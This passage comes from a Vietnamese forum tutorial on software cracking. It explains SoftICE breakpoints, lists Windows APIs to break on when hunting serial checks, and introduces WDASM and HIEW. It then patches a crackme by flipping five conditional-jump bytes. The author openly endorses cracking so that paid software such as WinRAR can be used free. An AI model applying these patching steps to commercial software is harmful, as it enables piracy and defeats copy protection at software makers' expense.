là mã của Kernel32.dll được ánh xạ qua vùng nhớ của Notepad, đừng  quan tâm đến chuyện đó, nhớ rằng Breakpoint của chúng ta đã làm việc tốt.&lt;br /&gt;Hãy tìm hiểu kĩ thêm 1 chút, xem mẫu hàm của API MessageBoxA:&lt;br /&gt;int  MessageBox(&lt;br /&gt;HWND hWnd, // handle of owner window&lt;br /&gt;LPCTSTR lpText, //  address of text in message box&lt;br /&gt;LPCTSTR lpCaption, // address of title of  message box&lt;br /&gt;UINT uType // style of message box&lt;br /&gt;);&lt;br /&gt;Nếu Notepad muốn  gọi API này nó phải truyền đủ 4 tham số trên qua Stack (nhờ lệnh Push). Để ý kĩ  các giá trị trên đỉnh Stack trong lúc này:&lt;br /&gt;&lt;br /&gt;ESP (+ 0h) DWord chứa địa chỉ  trở về mã Notepad, tức địa chỉ của câu lệnh kế tiếp lệnh gọi API MessageBoxA  trong Notepad&lt;br /&gt;ESP + 4h hWnd&lt;br /&gt;ESP + 8h lpText&lt;br /&gt;ESP + Ch lpCaption&lt;br /&gt;ESP + 10h uType&lt;br /&gt;Ghi chú: trong Win32 mỗi lần Push vào stack phải Push 1  DWord (4 Byte), khác với Dos mỗi lần Push chỉ là 1 giá trị 2 Byte.&lt;br /&gt;Nếu bạn  không hiểu những điều tui vừa nói ở trên thì cũng không sao, bạn cứ tạm chấp  nhận. Nhưng nếu bạn muốn tìm hiểu kĩ hơn, hẹn gặp lại bạn ở 1 tài liệu khác dạy  về lập trình Hợp Ngữ trên Windows, tui sẽ cố gắng viết nhanh để Upload lên cho  các bạn.&lt;br /&gt;Khi SoftICE dừng lại ngay trên điểm vào của API MessageBoxA, nhập:&lt;br /&gt;D ESP+4&lt;br /&gt;Theo bảng trên, lệnh này sẽ hiển thị trên Data Window giá trị  của tham số hWnd tức Handle của cửa sổ Notepad.&lt;br /&gt;Trên Data Window, bạn sẽ  thấy 4 byte đầu tiên có dạng 'A0 04 00 00' (máy bạn có thể khác), vậy Handle của  cửa sô Notepad là 4A0h.&lt;br /&gt;Tiếp tục nhập lệnh:&lt;br /&gt;D ESP + 8&lt;br /&gt;sẽ thấy 4 byte  '38 F8 63 00' (tức DWORD 63F838h)&lt;br /&gt;&lt;br /&gt;Nhập:&lt;br /&gt;D 63F838&lt;br /&gt;Lệnh này sẽ  Dump các Byte tại địa chỉ 63F838h và bạn sẽ thấy dòng text 'The text in the  Untitled file has changed.\n\nDo you want to save the changes?'.&lt;br /&gt;Để ý kĩ các  Byte trong cột thứ 2 của Data Window, sẽ thấy chuỗi trên được kết thúc bằng Byte  00h (NULL) và '\n' có giá trị là 0Ah.&lt;br /&gt;Bạn cũng có thể tìm đến chuỗi trên  nhanh hơn bằng cách dùng lệnh sau:&lt;br /&gt;D @(ESP + 8)&lt;br /&gt;hay&lt;br /&gt;D ESP-&gt;8&lt;br /&gt;Ở đây chúng ta phải định vị gián tiếp vì giá trị lpText truyền cho API  MessageBoxA là con trỏ trỏ đến chuỗi thông báo trên.&lt;br /&gt;Để nhanh hơn, đặt 1  Breakpoint như sau:&lt;br /&gt;BPX MessageBoxA DO "D @(ESP+8)"&lt;br /&gt;Bạn có thể cho  SoftICE thi hành từng lệnh một bằng cách dùng lệnh P (hay nhấn F10) hoặc lệnh T  (hay nhấn F8).&lt;br /&gt;Sự khác nhau giữa 2 lệnh này là ở chổ lệnh P xem 1 lời gọi  hàm Call xxxx như 1 lệnh đơn lẻ và cho thi hành toàn bộ thủ tục xxxx được gọi  bởi lệnh Call này, sau đó dừng lại ở lệnh kế tiếp ngay sau lệnh Call xxxx, còn  lệnh T sẽ nhảy đến dòng lệnh đầu tiên của thủ tục xxxx và dừng lại.&lt;br /&gt;Lệnh T  tất nhiên sâu sắc hơn lệnh P nhưng lúc nào cũng dùng nó thay thế cho lệnh P thì  không phải là 1 ý hay, bạn rất dễ bị lệnh này dẫn đến 1 thủ tục không đâu và  "quên cả đường về". Điều quan trọng là phải biết lúc nào cần dùng T và lúc nào  cần dùng P. Thời gian sẽ dạy cho bạn điều đó.&lt;br /&gt;Trong Code Window, bạn cũng có  thể dùng chuột kích vào 1 dòng mã bên dưới dòng mã hiện đang thực thi để dời con  trỏ đến đây, sau đó nhấn F7 (lệnh HERE), khi mã thi hành đến vị trí con trỏ (nếu  thực sự mã có thể thi hành đến đúng vị trí con trỏ), SoftICE sẽ dừng lại cho  bạn. Đây chính là cách đặt Breakpoint dạng one-shot.&lt;br /&gt;Nếu bạn đã chán và muốn  trở về lệnh ngay sau lệnh gọi API MessageBoxA, nhập lệnh:&lt;br /&gt;G @SS:ESP&lt;br /&gt;hay  cũng có thể nhấn F11.&lt;br /&gt;Lệnh trên sẽ kiểm tra khi thanh ghi con trỏ lệnh EIP  vươn tới được địa chỉ được chỉ rõ trong SS:ESP, sẽ cho "đóng băng" Notepad ngay  lập tức. Như tui đã nói ở trên, DWord tại SS:ESP hiện tại đang chứa địa chỉ trở  về của mã Notepad, tức địa chỉ của câu lệnh kế tiếp lệnh gọi API MessageBoxA  trong Notepad.&lt;br /&gt;Nhấn Cancel, chúng ta sẽ quay lại SoftICE, nhìn lên 1 chút,  bạn sẽ thấy đoạn mã như sau:&lt;br /&gt;:004023FC 51 push ecx&lt;br /&gt;:004023FD  8D857CFEFFFF lea eax, dword ptr [ebp-0184]&lt;br /&gt;:00402403 FF750C push [ebp+0C]&lt;br /&gt;:00402406 50 push eax&lt;br /&gt;:00402407 FF7508 push [ebp+08]&lt;br /&gt;:0040240A  FF15A8644000 Call [USER32!MessageBoxA]&lt;br /&gt;:00402410 8BE5 mov esp, ebp&lt;br /&gt;Dễ  dàng thấy được 4 câu lệnh Push truyền các tham số cho API MessageBoxA.&lt;br /&gt;Nhập  lệnh:&lt;br /&gt;BPX 40240A&lt;br /&gt;hay kích đôi vào câu lệnh 'Call [USER32!MessageBoxA]'.&lt;br /&gt;Chúng ta đang tạo 1 Breakpoint dạng point-and-shoot cho câu lệnh này.&lt;br /&gt;Vào lại Notepad chọn File.New. Cửa sổ SoftICE bật lên và chúng ta dừng ngay  trên câu lệnh 'Call [USER32!MessageBoxA]'. Breakpoint của ta đã làm việc!.&lt;br /&gt;Để xoá hết các Breakpoint đã đặt dùng lệnh&lt;br /&gt;BC *&lt;br /&gt;Một số thao tác trên  các Breakpoint&lt;br /&gt;&lt;br /&gt;Vô hiệu hóa Breakpoint&lt;br /&gt;Dùng lệnh:&lt;br /&gt;&lt;br /&gt;BD list | *&lt;br /&gt;&lt;br /&gt;Trong đó:&lt;br /&gt;• list : 1 dãy các số hiệu Breakpoint ngăn cách nhau bởi  dấu phẩy hoặc khoảng trắng.&lt;br /&gt;• * : vô hiệu hóa tất cả các Breakpoint.&lt;br /&gt;Thí  dụ lệnh:&lt;br /&gt;BD 1,3&lt;br /&gt;sẽ vô hiệu hóa Breakpoint có số hiệu 1 và 3.&lt;br /&gt;Kích  hoạt lại Breakpoint&lt;br /&gt;Dùng lệnh:&lt;br /&gt;&lt;br /&gt;BE list | *&lt;br /&gt;&lt;br /&gt;Lệnh BE sẽ kích  hoạt lại 1 hoặc 1 dãy các Breakpoint đã được vô hiệu hóa trước đó.&lt;br /&gt;Thí dụ  lệnh:&lt;br /&gt;BE 3&lt;br /&gt;sẽ kích hoạt lại Breakpoint 3.&lt;br /&gt;Danh sách các Breakpoint  đã đặt&lt;br /&gt;Để hiển thị danh sách các Breakpoint đã đặt dùng lệnh BL.&lt;br /&gt;Xóa  Breakpoint&lt;br /&gt;Dùng lệnh:&lt;br /&gt;&lt;br /&gt;BC list | *&lt;br /&gt;&lt;br /&gt;Thí dụ lệnh:&lt;br /&gt;BC 1&lt;br /&gt;sẽ xóa Breakpoint có số hiệu 1, tương tự lệnh:&lt;br /&gt;BC *&lt;br /&gt;sẽ xóa tất cả  các Breakpoint.&lt;br /&gt;Memory Breakpoints&lt;br /&gt;&lt;br /&gt;1 Memory Breakpoint dùng các  thanh ghi debug trên các CPU từ 386 trở lên để theo dõi sự truy cập vào 1 vị trí  bộ nhớ xác định. Dạng Breakpoint này rất hữu dụng để phát hiện khi nào và ở đâu  1 biến trong chương trình bị thay đổi và còn dùng để đặt các Execution  Breakpoint trong vùng nhớ chỉ đọc. Bạn chỉ có thể đặt tối đa 4 Memory Breakpoint  trong 1 lần bởi vì CPU chỉ có 4 thanh ghi debug.&lt;br /&gt;Bạn có thể dùng lệnh BPM để  đặt Memory Breakpoint:&lt;br /&gt;&lt;br /&gt;BPM[B|W|D] address [R|W|RW|X] [ debug register]  [IF expression]&lt;br /&gt;[DO "command1;command2;"]&lt;br /&gt;&lt;br /&gt;Trong đó:&lt;br /&gt;• BPM và  BPMB : đặt Breakpoint tại 1 Byte bộ nhớ xác định.&lt;br /&gt;• BPMW : đặt Breakpoint  tại 1 Word (2 Byte) bộ nhớ xác định.&lt;br /&gt;• BPMD : đặt Breakpoint tại 1 DWord (4  Byte) bộ nhớ xác định.&lt;br /&gt;• R, W và RW : sẽ ngắt khi xảy ra thao tác đọc, viết  hoặc cả 2&lt;br /&gt;Nếu bạn không chỉ rõ, mặc định sẽ là RW.&lt;br /&gt;• X : ngắt nếu thi  hành, mạnh hơn dạng Breakpoint BPX vì bộ nhớ không cần phải sửa đổi.&lt;br /&gt;• Debug  register : chỉ rõ thanh ghi debug sẽ dùng.&lt;br /&gt;Một lệnh đặt Memory Breakpoint  khác hay dùng hơn là lệnh BPR, dùng để đặt Breakpoint cho 1 đoạn bộ nhớ. Cú  pháp:&lt;br /&gt;&lt;br /&gt;BPR start_address end_address [R | W | RW | T | TW] [IF  expression]&lt;br /&gt;[DO"command1;command2;"]&lt;br /&gt;&lt;br /&gt;Bất kì khi nào xảy ra thao tác  đọc, viết hay cả hai (tùy theo bạn đặt, nếu bạn không chỉ rõ, mặc định sẽ là  viết) trong khoảng bộ nhớ từ start_address đến end_start sẽ làm phát sinh 1  Breakpoint.&lt;br /&gt;Window Message Breakpoints&lt;br /&gt;&lt;br /&gt;Dùng Window Message  Breakpoint để chặn 1 hoặc 1 dãy các thông điệp đi đến 1 thủ tục giải quyết thông  điệp Window (WinProc). Mặc dù cũng có thể làm được điều này nếu dùng BPX với 1  biểu thức điều kiện nhưng dùng lệnh BMSG thì vẫn dễ hơn:&lt;br /&gt;&lt;br /&gt;BMSG  window-handle [L] [ begin-message [ end-message]] [IF expression]&lt;br /&gt;[DO  "command1;command2;"]&lt;br /&gt;&lt;br /&gt;Trong đó:&lt;br /&gt;• window-handle : giá trị định danh  cửa sổ, được trả về khi cửa sổ được tạo thành. Bạn có thể dùng lệnh HWND để lấy  danh sách các cửa sổ kèm theo Handle của nó.&lt;br /&gt;• L : cho biết thông tin về  thông điệp Window bắt được chỉ cần in ra trong Command Window mà không cần phải  bật cửa sổ SoftICE lên.&lt;br /&gt;• begin-message : thông điệp Window đơn lẻ hay là  thông điệp có số hiệu thấp nhất trong dãy các thông điệp Window muốn theo dõi.  Nếu bạn không chỉ rõ dãy thông điệp với 1 end-message, thì chỉ begin-message sẽ  gây ra ngắt. Cả 2 begin-message và end-mesage có thể được ghi dưới dạng tên hoặc  số hiệu của nó thí dụ WM_QUIT và 12h là tương đương.&lt;br /&gt;• end-message : thông  điệp có số hiệu cao nhất trong dãy các thông điệp Window cần theo dõi.&lt;br /&gt;Nếu  không có thông điệp hoặc dãy các thông điệp nào được chỉ rõ, bất cứ thông điệp  nào cũng sẽ gây ra ngắt.&lt;br /&gt;Bạn có thể dùng lệnh WMSG để lấy danh sách các  thông điệp Window mà SoftICE biết.&lt;br /&gt;Nếu bạn biết tên thông điệp nhưng không  biết số hiệu của nó, có thể tìm được số hiệu của nó bằng cách dùng lệnh sau:&lt;br /&gt;&lt;br /&gt;? tên_thông_điệp&lt;br /&gt;Thí dụ để biết số hiệu của thông điệp WM_TIMER,  nhập lệnh:&lt;br /&gt;? WM_TIMER&lt;br /&gt;Thử thực hành thí dụ sau:&lt;br /&gt;Mở Notepad. Sau đó  nhập lệnh:&lt;br /&gt;HWND&lt;br /&gt;&lt;br /&gt;SoftICE sẽ hiển thị danh sách các cửa sổ kèm theo  các thông tin khác (thí dụ tên lớp cửa sổ, địa chỉ Window Procedure...). Bạn có  thể thấy giá trị Handle của các cửa sổ nằm ở cột đầu tiên. Chúng ta chỉ quan tâm  giá trị Handle của cửa sổ Notepad. Ở máy tui giá trị này là 190h (máy bạn có thể  khác). Nhớ lấy giá trị này.&lt;br /&gt;&lt;br /&gt;Để chỉ hiển thị các thông tin cửa sổ của  riêng Notepad, bạn có thể dùng lệnh:&lt;br /&gt;HWND Notepad&lt;br /&gt;Chúng ta đặt 1  Breakpoint để theo dõi tất cả các thông điệp đi đến cửa sổ chính của Notepad:&lt;br /&gt;BMSG 190 L&lt;br /&gt;Tham số L sẽ khiến cho SoftICE chỉ in thông tin về thông điệp  bắt được trong Code Window mà không cần bật cửa sổ SoftICE lên.&lt;br /&gt;&lt;br /&gt;Rời  SoftICE (Ctrl-D), trong Notepad, bạn thao tác gì đó (thí dụ gõ 1, 2 từ, thay đổi  kích thước cửa sổ...), sau đó quay lại SoftICE, trong Code Window sẽ hiển thị  tất cả thông tin về các thông điệp do Windows gởi đến cửa sổ Notepad mà SoftICE  bắt được.&lt;br /&gt;Để bắt 1 thông điệp riêng biệt, thí dụ WM_SIZE bạn dùng lệnh sau:&lt;br /&gt;BMSG 190 WM_SIZE&lt;br /&gt;Trở lại Notepad, bạn thử thay đổi kích thước cửa sổ của  nó (thí dụ phóng to hay thu nhỏ cửa sổ Notepad), khi đó Windows sẽ gởi đến cho  Notepad 1 thông điệp WM_SIZE, SoftICE sẽ bật lên và bạn sẽ thấy nó dừng ngay  trên điểm vào của thủ tục Window giải quyết thông điệp cho cửa sổ chính Notepad.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class="postbody"&gt;V.Một số hàm API thường được đặt Breakpoint khi Crack&lt;br /&gt;Phần lớn là các API trong các thư viện: gdi32.dl, kernel32.dll,  user32.dll...&lt;br /&gt;Liên quan đến File&lt;br /&gt;&lt;br /&gt;CreateFileA&lt;br /&gt;ReadFile&lt;br /&gt;WriteFile&lt;br /&gt;GetPrivateProfileStringA&lt;br /&gt;WritePrivateProfileStringA&lt;br /&gt;Liên quan đến Registry&lt;br /&gt;&lt;br /&gt;RegCreateKeyA&lt;br /&gt;RegDeleteKeyA&lt;br /&gt;RegOpenKeyA&lt;br /&gt;RegCloseKey&lt;br /&gt;RegQueryValueA&lt;br /&gt;Liên quan đến hộp thoại  và cửa sổ&lt;br /&gt;&lt;br /&gt;CreateDialogIndirectParamA&lt;br /&gt;CreateDialogParamA&lt;br /&gt;MessageBox&lt;br /&gt;MessageBoxA&lt;br /&gt;MessageBeep&lt;br /&gt;CreateWindow&lt;br /&gt;CreateWindowExA&lt;br /&gt;ShowWindow&lt;br /&gt;Liên quan đến chuỗi&lt;br /&gt;&lt;br /&gt;GetWindowText&lt;br /&gt;GetWindowTextA&lt;br /&gt;GetDlgItemText&lt;br /&gt;GetDlgItemTextA&lt;br /&gt;CompareString&lt;br /&gt;lstrcmp&lt;br /&gt;lstrcmpA&lt;br /&gt;lstrcmpi&lt;br /&gt;lstrcmpiA&lt;br /&gt;Liên quan đến ngày giờ&lt;br /&gt;&lt;br /&gt;GetSystemTime&lt;br /&gt;GetLocalTime&lt;br /&gt;SystemTimeToFileTime&lt;br /&gt;Liên quan  đến kiểm tra đĩa&lt;br /&gt;&lt;br /&gt;GetDriveType&lt;br /&gt;GetDriveTypeA&lt;br /&gt;GetLogicalDrives&lt;br /&gt;GetLogicalDriveStringsA&lt;br /&gt;Các hàm đặc biệt khác&lt;br /&gt;&lt;br /&gt;HMEMCPY&lt;br /&gt;Thường  hay dùng nhất là HMEMCPY, GetDlgItemTextA, GetWindowTextA, MessageBoxA&lt;br /&gt;&lt;br /&gt;-  Các "function" mà bạn có thể "túm" được ở SoftIce khi Crack các Softwear, trong  softIce bạn gõ như sau EXP ( EXP = Display Export Symbols). Ví dụ : EXP Message&lt;br /&gt;1. USER : MESSAGEBOXINDIRECT, MESSAGEBOX, MESSAGEBOXEX, MESSAGEBEEP ...&lt;br /&gt;2. USER32 : MESSAGEBEEP, MESSAGEBOXA(rất hay dùng), MESSAGEBOXEXA,  MESSAGEBOXEXW, MESSAGEBOXINDIRECTA, MESSAGEBOXINDIRECTW, MESSAGEBOXW ...&lt;br /&gt;3.  Ðọc và ghi File : READFILE, WRITEFILE, CREATFILEA, SETFILEPOITER ...&lt;br /&gt;4. Kiểm  tra Registry : REGCREATKEYA, REGDELETEKEYA, REGQUERYVALUEA, REGCLOSEKEYA,  REGOPENKEYA ...&lt;br /&gt;5. Nhập thông số (hay dùng để tìm Serial hay Key..):  GETWINDOWTEXTA, GETDLGITEMTEXTA, GETDLGITEMINT...&lt;br /&gt;6. Kiểm tra thời gian :  GETLOCALTIME, GETSYSTEMTIME, GETFILETIME...&lt;br /&gt;7. Kiểm tra ổ đĩa CD-ROM hay A  (hay dùng để Crack CD-Game) : GETDRIVETYPEA(rất hay dùng), GETLOGICALDRIVESA,  GETLOGICALDRIVESTRINGA...&lt;br /&gt;Và cuối cùng là cái mạnh nhất (dùng cho tất cả các  Break point trên) : HMEMCPY(hay dùng để tìm serial với các Softwear viết bằng  VB.&lt;br /&gt;Sau khi biết được Soft dùng breakoint nào bạn hãy "gọi" nó ra bằng lệnh  : BPX (BPX= Breakpoint on eXecution), Ví dụ: BPX HMEMCPY.&lt;br /&gt;- Các lệnh để xem  số Serial : D, DB, DW, DD, DS, DL, DT.... Quan trọng nhất là DD&lt;br /&gt;&lt;br /&gt;Bai viet  cua hacnho from HVA-www.hackervn.org/forum (xin vui long de dong nay khi ban  trich dan lai--thanx a lot)&lt;br /&gt;&lt;br /&gt;-------Hết Phần III---Trong phần III tôi sẽ  hướng dẫn các bạn làm sao để crack một chương trình bằng WDASM893 và Hacker  Views602, và hướng dẫn crack file crack me của CU TI&lt;br /&gt;*************************************:&lt;br /&gt;PHẦN III :&lt;br /&gt;&lt;br /&gt;Xin chào,  chúng ta lạI gặp nhau…Trong bài viết này tôi sẽ hướng dẫn sử dụng WDASM893 và  Hacker Views602. Hai công cụ không thể thiếu của một cracker&lt;br /&gt;&lt;br /&gt;I.GiớI  thiệu WDASm&lt;br /&gt;&lt;br /&gt;Nếu như ví SoftIce là khẩu M-16 thì WDASM là một khẩu  Beretta đạn bạc. Vì WDASM sẽ giúp bạn rất nhiều trong việc crack phần mềm mà bạn  không cần dùng SoftIce…Bây giờ tôi sẽ hướng dẫn các bạn cách sử dụng cơ bản  nhất, muốn hiểu rõ hơn bạn hãy mở phần help của nó nhé&lt;br /&gt;&lt;br /&gt;1.Disassembly vớI  WDASM:&lt;br /&gt;&lt;br /&gt;a.Disassembly File&lt;br /&gt;&lt;br /&gt;Muốn disassembly file nào(nhớ chọn  dạng file thích hợp thường là *.exe, *.dll), từ menu Disassembly ta chọn Open  file to disassembly…chọn file cần disassembly…&lt;br /&gt;*-Lưu ý trong submenu  Disassmbly Options bạn nên đánh dấu chọn cả ba dòng&lt;br /&gt;-Enable Conditional Jump  X Preferences&lt;br /&gt;-Enable Uncondional Jump X Preferences&lt;br /&gt;-Enable Call X  Preferences&lt;br /&gt;*-Nếu bản WDASM của bạn đã patch (cho phép DASM VB), trong sub  menu Patch Options, bạn đánh dấu chọn auto hoặc on trong dòng Enable và đánh dấu  cả hai checkbox Line Prefix, Values trong dòng Copy Selected Lines&lt;br /&gt;&lt;br /&gt;b.Quick Edit&lt;br /&gt;Nếu bản của bạn đã fixed thì bạn sẽ có một menu Edit  trên thanh công cụ, submenu Quick Edit giúp bạn có thể chỉnh sửa file trực tiếp  trên nền của WDASM mà không cần dùng tớI HIEWS-Quá tiện lợI phảI không? Muốn  chỉnh sửa file tạI location nào ta chỉ cần double click tạI dòng đó, xong chọn  QuickEdit—Trong của sổ của Quick Edit có các khung sau:&lt;br /&gt;&lt;br /&gt;-RVA Word : nhập  vào location cần tớI, xong nhấn Goto&lt;br /&gt;-Original Bytes: Bytes trước khi chỉnh  sửa&lt;br /&gt;-Modify Bytes: Bytes sau khi chỉnh sửa&lt;br /&gt;-Save: lưu lạI Bytes sau khi  chỉnh sửa&lt;br /&gt;-Run: Chạy file đang chỉnh sửa&lt;br /&gt;-Delete: xoá&lt;br /&gt;&lt;br /&gt;c.Goto  location:&lt;br /&gt;&lt;br /&gt;trong ô Code Offset (hex) nhập vào location rồI enter để đến  location vừa nhập. Ví dụ 00401000. Chức năng này thường dùng khi bạn dùng  SoftIce kiếm được tử huyệt của soft đang crack …&lt;br /&gt;&lt;br /&gt;d.String Data  References:&lt;br /&gt;&lt;br /&gt;là nơi rất quan trọng để crack phần mềm , vì nơi đây là nơi  hiện ra các thông báo thông thường của các soft(nhưng đôi khi tác giả phần mềm  cố ý mã hoá nó đi…Nhưng không sao cả ta có cây M-16 SoftIce). Một mẹo nhỏ cho  các bạn. nếu muốn patch phần mềm thì nên tìm những thông báo tương tự như  "Incorrect Password...", "Wrong Serial...", "Re-enter password..." , xong rồI  các bạn di chuyển vệt sáng lên phía trên nhé, dịch chuyển xuống dướI là ngu luôn  đấy ke ke ke ở tù đấy---nhất là dưới 16 tuổi&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;-------bấy nhiêu đó  thôi,mỏi tay quá, nếu muốn biết chi tiết các bạn nên xem phần help của WDASM  nhé---------&lt;br /&gt;&lt;br /&gt;II.GiớI thiệu Hacker Views 602&lt;br /&gt;&lt;br /&gt;HIEWS là một chương  trình Hexa Editor rất mạnh, hoạt động tương tự như Norton Commader5.0 for DOS  của Symantec, các phím tắt cũng như NC5. Nó được ví như đạn dược vì dùng  SoftIce,WDASM chỉ tìm offset còn nhiệm vụ cuối cùng vẫn là dùng Hviews để kill  soft.Trời ạ súng mà không có đạn thì chết chắc rồi còn gì. Tuy M-16 (SoftICe) có  một vũ khí đó là lưỡi lê (hàm aeip-chỉnh sửa trực tiếp trên soft Ice), nhưng chỉ  dùng cho một số trường hợp đặc biệt thôi...&lt;br /&gt;&lt;br /&gt;- Muốn chuyển ổ đĩa hiện  hành nhấn Alt + F1,&lt;br /&gt;- F4 để chọn chế độ trong bảng Select Mode: Text,  Decode,Hex…bạn có thể nhấn Enter cũng được&lt;br /&gt;- F7 dùng để search&lt;br /&gt;- F5, gõ  vào địa chỉ Offset và enter&lt;br /&gt;- F3 dùng để chỉnh sửa,&lt;br /&gt;- F2 dùng để chỉnh  sửa vớI một ô lớn hơn, tương tự như menu Quick Edit của WDASM&lt;br /&gt;- F9 để lưu,&lt;br /&gt;- F10 để thoát, hoặc đơn giản là bạn nhấn ESC&lt;br /&gt;----HIEWS rất dễ dùng bạn  hãy tự khám phá thêm nhé---------------&lt;br /&gt;&lt;br /&gt;***Một số lưu ý nhỏ***&lt;br /&gt;&lt;br /&gt;Khi bạn tìm được tạI một location một offset thì bạn hãy nhìn xuống dưới  thanh taskbar những chữ số hexa sau chữ @ (trừ chữ h đi nhé) đó chính là địa chỉ  offset trong HIEWS đó&lt;br /&gt;Ví dụ tạI địa chỉ 004013AF tôi sẽ có một offset là  @00007Afhà thì 00007AF chính là địa chỉ offset trong HIEWS&lt;br /&gt;-------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;để các bạn có thể hiểu sơ lược về các dùng của ba phần mềm  SOFTICE,WDASM,HIEWS tôi xin hướng dẫn các bạn crack một crack me của anh  nicehacker…ở đây tôi chỉ bày cho các bạn phương pháp patch nó thôi…Còn phương  pháp tìm được serial thì bạn tự tìm hiểu nhé&lt;br /&gt;&lt;br /&gt;-------------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;Chào các bạn...chắc hẳn không ít các bạn đã buông tay chịu trói trước  file crk me HVA_UNPACKED.exe...he he...Nếu các bạn chưa tìm được số serial thì  tôi xin bày cho các bạn phương pháp để patch file crk me này, chứ riêng tôi thì  mỗi lần tôi gõ đại vào ô serial một con số bất kỳ thì nó hiện lên " wrong serial  ..&lt;img src="http://www.blogger.com/hvaonline/images/smilies/068ae40523a24c9ef54edefd375e542d.gif" border="0" /&gt;" phát bực mình he he...Mục đích tôi là làm sao cho nó hiện lên thông  báo "Good job,and now make a keygen "...Tôi không nêu phương pháp tìm serial tuy  nhiên dựa vào bài víêt này các bạn sẽ tìm được số serial... he he mong các đàn  anh tha tội vì em đã patch nó ke ke ke&lt;br /&gt;&lt;br /&gt;Công cụ: SoftIce Driver Suite  2.6, Wdasm893 fixed, Hiew602&lt;br /&gt;Patcher : hacnho&lt;br /&gt;&lt;br /&gt;Lưu ý: do CuTi rất ma  lanh là đã mã hoá nên các dòng thông báo như "Wrong serial" không hiện lên trong  String Data References của WDASM nên không thể dùng WDASM trực tiếp được nên tôi  phải dùng SofIce để tìm các hàm call gọi ra cái nag đó...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Đầu tiên  các bác chạy file hva_unpacked.exe, nhập vào một số serial bất kỳ, tôi nhập vào  số serial là 123456, khoan nhấn Ok, gõ Ctrl+D để vào SoftIce (nếu dùng SoftIce  Driver Suite 2.6 phải start softice trên thanh start trước), gõ vào bpx  GetDlgItemTextA, enter, nhấn Ctrl+D, để ra khỏi SoftIce sau khi đã đặt một break  point, nhấn nút Ok trên fiel crk me HVA_UNPACKED.exe. Ta lại vào SoftIce, các  bác nhấn F10 cho đến khi thấy thông báo " wrong serial.." nhẩy lên che khuất màn  hình SoftIce, Lúc này các bác phải tinh mắt nhìn thấy khi ta nhấn F10 vệt sáng  di chuyển đến dòng có chữ&lt;br /&gt;Call User32! MessageBoxA&lt;br /&gt;004011AB Popad &gt;  he he đây chính là thông báo đáng ghét đó,&lt;br /&gt;&lt;br /&gt;các bác nhớ lấy nó, sau đó gõ  bc *( xoá Break Point), F5 để thoát...&lt;br /&gt;mở WDASM, mở crk me đó lên, vào goto  location 004011AB...Các bác sẽ nhìn thấy như vầy&lt;br /&gt;&lt;br /&gt;* Referenced by a  (U)nconditionnal or ©conditional Jump at Adresses:&lt;br /&gt;|:004010C6©, :  004011110©, :00401119©...&lt;br /&gt;&lt;br /&gt;:00401197 61 popad &gt;&gt;Gọi thông báo đúng  khi các bác nhập vào serial đúng&lt;br /&gt;:00401198 6A00 push 00000000&lt;br /&gt;:0040119A  68CE304000 push 004030CE&lt;br /&gt;&lt;br /&gt;.....&lt;br /&gt;* Referenced To : user32.MessageBoxA,  Ord:0000h&lt;br /&gt;:004011A6 E845000000 call 004011F0&lt;br /&gt;:0004011AB 61 popad  &gt;&gt;he he Gọi thông báo wrong serial đó...&lt;br /&gt;&lt;br /&gt;các bác đọc tới đây chắc  cũng hiểu một phần phải không? Nên biết crk me này chỉ có hai thống báo khi nhập  serial, một là thông báo "good job..", hai là thông báo "wrong serial..." Do đó  ta có hai cách patch là hoặc tất cả những câu lệnh nhảy trong phần so sánh số  serial ta đều đổi ngược lại hoặc là ta đổi từ popad 0004011AB sang 00401197  trong các câu lệnh nhảy...&lt;br /&gt;để cho newbie dễ hiểu tôi chọn cách một đó là đổi  câu lệnh nhảy trong phần so sánh serial đều ngược lại hết...&lt;br /&gt;&lt;br /&gt;Nhắc lại  phần trên, khi các bác goto location 0004011AB rồi, vệt sáng sẽ nằm tại dòng&lt;br /&gt;:0004011AB 61 popad...&lt;br /&gt;hãy di chuyển chuột lên trên chừng 20 dòng các  bác sẽ thấy&lt;br /&gt;&lt;br /&gt;*Reference To: user32.GetDlgItemTextA, Ord: 0000h&lt;br /&gt;&lt;br /&gt;:00401109 E8D6000000 Call 004011E4&lt;br /&gt;:0040110E 85C0 Test eax,eax  &gt;&gt; kiểm tra serial&lt;br /&gt;:00401110 0F8481000000 je 00401197 &gt;&gt;nếu  đúng, nhảy tới thông báo "good job"&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;yeah, vần đề nằm ở đây...hãy ghi  nhớ tất cả những địa chỉ offset có chữ jne...Cụ thể là 5 địa chỉ&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;1.00000519&lt;br /&gt;2.00000535&lt;br /&gt;3.0000054C&lt;br /&gt;4.00000563&lt;br /&gt;5.0000057C&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;đóng WDASm lại, dùng Hiew mở HVA_UNPACKED.exe lên,&lt;br /&gt;&lt;br /&gt;gõ F5, gõ 00000519, nhấn F3, đổi 75 thành 74&lt;br /&gt;gõ F5, gõ 00000535,  nhấn F3, đổi 75 thành 74&lt;br /&gt;gõ F5, gõ 0000054C, nhấn F3, đổi 75 thành 74&lt;br /&gt;gõ  F5, gõ 00000563, nhấn F3, đổi 75 thành 74&lt;br /&gt;gõ F5, gõ 0000057C, nhấn F3, đổi  75 thành 74&lt;br /&gt;&lt;br /&gt;nhấn F9 để lưu, F10 để thoát...&lt;br /&gt;Mở lại file HVA_UNPACKED  xem, gõ vào số serial gì nó cũng hiện lên thông báo "Good job,and now make a  keygen xxxxxx"...he he he&lt;br /&gt;&lt;br /&gt;Chú ý : xxxxxx: số serial tầm bậy mà các bác  nhập vào&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Bài viết này tôi viết dùng để giúp các bạn học  tập...Nếu bạn chưa rành về số serial, thì hãy tập patch...hiện nay có nhiều phần  mềm chỉ patch được, chứ ít crk được...Có thể thí dụ là Winrar3x...Ngô Vĩnh Hoàng  là một crker khá quen thuộc với dân xài đồ chùa Việt Nam, cũng thường pacth chứ  đâu có crk hoàn toàn đâu...Crk hay patch cũng được (theo tôi) miễn sao là mình  đạt tới mục đích là xài được một phần mềm nào đó miễn phí mà không phải trả  tiền...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span 